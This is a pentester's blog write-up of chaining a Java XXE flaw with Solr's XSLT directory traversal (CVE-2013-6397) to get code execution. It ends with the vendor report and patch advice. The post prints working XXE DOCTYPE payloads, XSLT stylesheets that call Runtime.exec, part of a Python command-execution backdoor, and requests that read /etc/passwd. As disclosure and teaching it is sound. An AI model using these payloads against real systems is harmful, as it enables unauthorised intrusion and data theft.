mercredi 27 novembre 2013, 17:32:42 (UTC+0100)

Compromising an unreachable Solr server with CVE-2013-6397

I recently did a pentest where I compromised a Solr server located several layers deep in a network. This hack used a few XML-related vulnerabilities and I consider it as a good example of how several small defects can be combined for full compromise.


The target application allows authenticated users to upload, manage and search documents. Documents can be public or not, restricted to a user, a group or an organization. The creator of a group can invite other users, either "in app" or by sending an email with a XML-based invitation attached. Documents uploaded by users are stored on a file-server and may be processed by another application (Solr), depending on their status and format. Solr is a search platform edited by Apache. From its website: "its major features include powerful full-text search, hit highlighting, faceted search, near real-time indexing, dynamic clustering, database integration, rich document (e.g., Word, PDF) handling, and geospatial search".


The network architecture is very common. Three DMZ, one hosting a HTTPS front-end (DMZ "A"), one with a Java application server (DMZ "B") and one dedicated to data storage (database and file server, in DMZ "C"). The firewall rules are quite strict, with no outbound traffic and only a few inbound rules:
- HTTPS (TCP/443) from the Internet to DMZ "A"
- HTTP (TCP/8080) from DMZ "A" to DMZ "B"
- Oracle (TCP/1521), Solr (TCP/8983) and NFS (TCP/2049) from DMZ "B" to DMZ "C"


The Java application hosted in DMZ "B" has already endured a few pentests, but I found a XXE ("XML eXternal Entity" aka CWE-611) vulnerability in the newly introduced XML-based invitation feature. Given that the application is based on Java (with a recent JRE):
- directories can be listed using "file://MY_DIR/"
- valid XML files in ASCII or UTF-8 format can be read using "file://MY_DIR/MY_FILE"
- plain text files (no markup, no entities) in ASCII or UTF-8 can also be read using "file://MY_DIR/MY_FILE"
- the Gopher handler "gopher:" is disabled (afaik since Java 7)
- the HTTP and HTTPS URL handlers are available


The first task was to use the XXE vulnerability to explore the filesystem and try to collect information like usernames, passwords, source code,... However, I was very unlucky because most of the interesting files were unreadable. Either they are in a binary format (JAR, Word, PDF) or they contain invalid XML (like most HTML pages) or accents (thanks to French developpers!). NB: you may use the "jar:" URL scheme when accessing JAR files (and other ZIP containers), cf. this conference by Timothy Morgan at OWASP AppSec USA 2013.


So, let's use the XXE vulnerability only as a proxy in order to port-scan the internal network. 127.0.0.1 was, of course, the first target but nothing interesting was found. Then I tried to scan one of my public servers. No outbound traffic :-( At least, file "/etc/fstab" gave me the IP address of the NFS server (let's say 192.168.42.42), and I thorougly scanned it. 65532 filtered ports, 1 closed (TCP/1521) and 2 open (TCP/8983 and TCP/2049).


Well, port TCP/8983 is open? That's the default port used by Solr. And Solr is advertised as insecure by default: "Solr does not concern itself with security either at the document level or the communication level". So I need to verify if I really found a Solr server. As previously said, most HTML pages are not suitable with this kind of XXE. However, the Solr Web interface proposes some static CSS files (for example "/solr/admin/solr-admin.css" in old versions like 3.6.2 and "/solr/css/jetty-dir.css" in modern ones) and some dynamic information pages (for example "/solr/admin/get-properties.jsp" in old versions and "/solr/admin/info/system" in modern ones). When accessing "/solr/admin/info/system", the response is sent back in XML format (by default) or JSON (using "?wt=json"). As shown by the following screenshot, a Solr 4.5.0 instance using Oracle Java 7u45 was found using the following DOCTYPE:


<!DOCTYPE sploit [
    <!ENTITY boom SYSTEM "http://192.168.42.42:8983/solr/admin/info/system?wt=xml">
]>

After downloading a version of Solr similar to the version used by the target, I began to look for vulnerabilities. Even if I could leak a lot of information (about the Solr instances, about the underlying OS, about the content of stored documents), I would love to gain a shell. And given that the Solr interface is accessed through a XXE vulnerability, I can only use GET requests (no POST, no PUT).


When reading the documentation, I saw that Solr uses XSLT. And you know how much I love XSLT ;-) From the documentation, the "XSLT Response Writer applies an XML stylesheet to output". Furthermore, this ResponseWriter "accepts one parameter: the tr parameter, which identifies the XML transformation to use" and "the transformation must be found in the Solr conf/xslt directory". Here's a sample query using the XSLT Response Writer and the "example_rss.xsl" stylesheet:


<!DOCTYPE sploit [
    <!ENTITY boom SYSTEM "http://192.168.42.42:8983/solr/select/?q=31337&wt=xslt&tr=example_rss.xsl">
]>

There is however no interesting (I mean exploitable) XSLT stylesheets in the "conf/xslt" directory. Maybe that's a job for our old friend "../" ;-) On some Linux systems, file "/usr/share/ant/etc/ant-update.xsl" is present. This file comes from the "ant-optional" package, itself recommended when installing the "ant" package. And most importantly, this stylesheet applies a "near-identity transform" which allows us to read the raw Solr response:


<!DOCTYPE sploit [
    <!ENTITY boom SYSTEM "http://192.168.42.42:8983/solr/select/?q=31337&wt=xslt&tr=../../../../../../../../../../../../../../../../../usr/share/ant/etc/ant-update.xsl">
]>

Fine! We are getting closer to our objective, because execution of arbitrary XSLT code in a non-hardened Java application usually means ... execution of arbitrary Java code!


Now I need to provide my own "malicious" XSLT stylesheets. Given that documents (like Word documents) uploaded via the Web application and tagged as "public" are searchable in full-text, they are probably processed by Solr. As TCP/2049 is open on this server, files are probably stored on the Solr server and read/written by the Web application via NFS. Using error messages, brute-force and luck, I was able to find where my own documents were stored (suppose "/var/data/user/666/"). NB: the file upload trick using the "jar:" URL scheme (cf this video) isn't applicable in this context, because there's no outbound open port. Now that I know where my files are uploaded, and before dropping a Java payload, I need to know which engine is used. This is very easy using xsl:system-property().


The uploaded XSLT stylesheet "recon.xsl":


<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
  <xsl:output method="text"/>
  <xsl:template match="/">
    Version : <xsl:value-of select="system-property('xsl:version')" />
    Vendor : <xsl:value-of select="system-property('xsl:vendor')" />
    Vendor URL : <xsl:value-of select="system-property('xsl:vendor-url')" />
  </xsl:template>
</xsl:stylesheet>

The related DOCTYPE:


<!DOCTYPE sploit [
    <!ENTITY boom SYSTEM "http://192.168.42.42:8983/solr/select/?q=31337&wt=xslt&tr=../../../../../../../../../../../../../../../../../var/data/user/666/recon.xsl">
]>

And the output, stating that Apache Xalan-J is used:


Last check: is it really possible to execute arbitrary Java code? Let's upload a basic PoC, just calling java.util.Date:new():

<xsl:stylesheet version="1.0"
    xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
    xmlns:date="http://xml.apache.org/xalan/java/java.util.Date"
    exclude-result-prefixes="date">
  <xsl:output method="text"/>
  <xsl:template match="/">
   <xsl:variable name="dateObject" select="date:new()"/>
   <xsl:text>Current date: </xsl:text><xsl:value-of select="$dateObject"/>
  </xsl:template>
</xsl:stylesheet>

The related DOCTYPE:


<!DOCTYPE sploit [
    <!ENTITY boom SYSTEM "http://192.168.42.42:8983/solr/select/?q=31337&wt=xslt&tr=../../../../../../../../../../../../../../../../../var/data/user/666/date.xsl">
]>

And the output, showing that executing arbitrary Java code is possible!


It would now be easy to execute a Java Meterpreter from XSLT using Java Payload. But without any direct inbound or outbound port, this wouldn't be really useful :-( However, port TCP/1521 is closed on the Solr server but reachable from the Java server. Why not develop/upload/execute some code binding TCP/1521, reachable via the XXE vulnerability and somewhat emulating a shell?


The XSLT stylesheet executing our own Python shell (yes, that's XSLT to Java to Python to Bash!):


<xsl:stylesheet version="1.0"
    xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
    xmlns:date="http://xml.apache.org/xalan/java/java.util.Date"
    xmlns:rt="http://xml.apache.org/xalan/java/java.lang.Runtime"
    xmlns:str="http://xml.apache.org/xalan/java/java.lang.String"
    exclude-result-prefixes="date">

  <xsl:output method="text"/>
  <xsl:template match="/">

   <xsl:variable name="cmd"><![CDATA[/usr/bin/python /var/data/user/666/http2cmd.py]]></xsl:variable>
   <xsl:variable name="rtObj" select="rt:getRuntime()"/>
   <xsl:variable name="process" select="rt:exec($rtObj, $cmd)"/>
   <xsl:text>Process: </xsl:text><xsl:value-of select="$process"/>

  </xsl:template>
</xsl:stylesheet>

And an extract from my "http2cmd.py" script (based on BaseHTTPServer, you can dowload it from here):

[...]
	# Handle only GET requests
	def do_GET(self):
		
		try:
			[...]

			# Execute a shell command (pipes and wildcards are OK)
			if action == '/shell':
				cmd = args['cmd'][0]
				# Input encoding
				if 'i64' in args:
					cmd = base64.b64decode(cmd)
				data = subprocess.check_output(cmd, shell=True)

			# Execute some Python code
			elif action == '/python':
				code = args['code'][0]
				# Input encoding
				if 'i64' in args:
					code = base64.b64decode(code)
				data = self.exec_stdout(code)

			[...]

Now, we can execute arbitrary shell commands or Python code on the Solr server, and get the output back to us. We can also use the optional Base64 input/output encoding to hide suspicious strings or exfiltrate binary data.


GAME OVER!


<!DOCTYPE sploit [
    <!ENTITY boom SYSTEM "http://192.168.42.42:1521/shell?cmd=uname%20-s">
]>

<!DOCTYPE sploit [
    <!ENTITY boom SYSTEM "http://192.168.42.42:1521/shell?o64%26cmd=head%20/etc/passwd">
]>

<!DOCTYPE sploit [
    <!ENTITY boom SYSTEM "http://192.168.42.42:1521/python?i64%26code=aW1wb3J0IHN5cwpwcmludCByZXByKCdPUyBwbGF0Zm9ybTogJXMnICUgc3lzLnBsYXRmb3JtKQpwcmludCByZXByKCdQeXRob24gdmVyc2lvbjogJXMnICUgc3lzLnZlcnNpb24pCg%3d%3d">
]>

Of course, I reported the Solr vulnerabilities (the XSLT one and a few others) to the Apache security team, who forwarded them to the Lucene team. Part of their risk analysis was that "you cannot use the vulnerabilities without access to the server's filesystem to place malicious files there". At that time, I was OK with their statement. But if you find another XXE in Solr itself (cf SOLR-3895 and SOLR-4881) and have a way to access your own documents via HTTP from the Solr server, then the novel file upload trick using "jar:" (by @ecbftw) could definitely help.


Bottom line: ticket SOLR-4882 was created in order to track the directory traversal vulnerability (affecting both XSLT stylesheets and Velocity templates). The bug was fixed in version 4.6.0, released a few days ago. Identifier CVE-2013-6397 was affected to this vulnerability. If you are running Solr, do not expose it on the Internet, do not expose it on a LAN which can be reached from another machine vulnerable to SSRF, do not expose it on localhost if the server itself hosts an application vulnerable to SSRF. And I mean any SSRF (aka CWE-918), not just XXE (aka CWE-611)!


That's all, folks! I hope you enjoyed this short journey into the world of XML hacking.


Posted by Nicolas Grégoire | Permanent link

webmaster@agarri.fr
Copyright 2010-2021 Agarri